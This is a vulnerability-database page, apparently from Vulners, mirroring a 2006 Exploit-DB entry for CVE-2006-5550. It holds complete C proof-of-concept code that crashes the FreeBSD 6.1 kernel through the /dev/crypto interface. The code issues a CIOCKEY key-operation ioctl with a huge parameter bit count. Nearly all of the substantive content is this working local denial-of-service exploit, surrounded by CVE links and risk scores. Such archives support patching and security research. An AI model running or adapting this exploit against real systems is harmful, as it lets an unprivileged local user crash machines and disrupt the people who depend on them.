Lucene search
+L

FreeBSD 6.1 - '/dev/crypto' Local Kernel Denial of Service

🗓️ 24 Oct 2006 00:00:00Reported by Evgeny LegerovType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 53 Views

FreeBSD 6.1 Local Kernel DoS using /dev/crypt

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2006-5550
26 Oct 200617:00
cve
cvelist
Cvelist
CVE-2006-5550
26 Oct 200617:00
cvelist
euvd
EUVD
EUVD-2006-5535
7 Oct 202500:30
euvd
nvd
NVD
CVE-2006-5550
26 Oct 200617:07
nvd
redhatcve
RedhatCVE
CVE-2006-5550
21 May 202518:30
redhatcve
// Evgeny Legerov (elegerov.blogspot.com)

#include unistd.h
#include sys/types.h
#include stdio.h
#include fcntl.h
#include crypto/cryptodev.h

int main()
{
        int fd2, fd;
        struct crypt_kop kop;

        printf("FreeBSD 6.1 /dev/crypto local kernel DoS\n");

        fd2 = open("/dev/crypto", O_RDWR, 0);
        if (fd2 == -1){
                perror("open");
                exit(-1);
        }

        if (ioctl(fd2, CRIOGET, &fd) == -1) {
                perror("ioctl");
                exit(-1);
        }

        kop.crk_op = CRK_MOD_EXP;
        kop.crk_iparams = 3;
        kop.crk_oparams = 1;
        kop.crk_param[0].crp_nbits = 0x70000000;

        ioctl(fd, CIOCKEY, &kop);

        printf("exploit failed\n");

        return 0;
}

// milw0rm.com [2006-10-24]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Oct 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.9
EPSS0.00976
53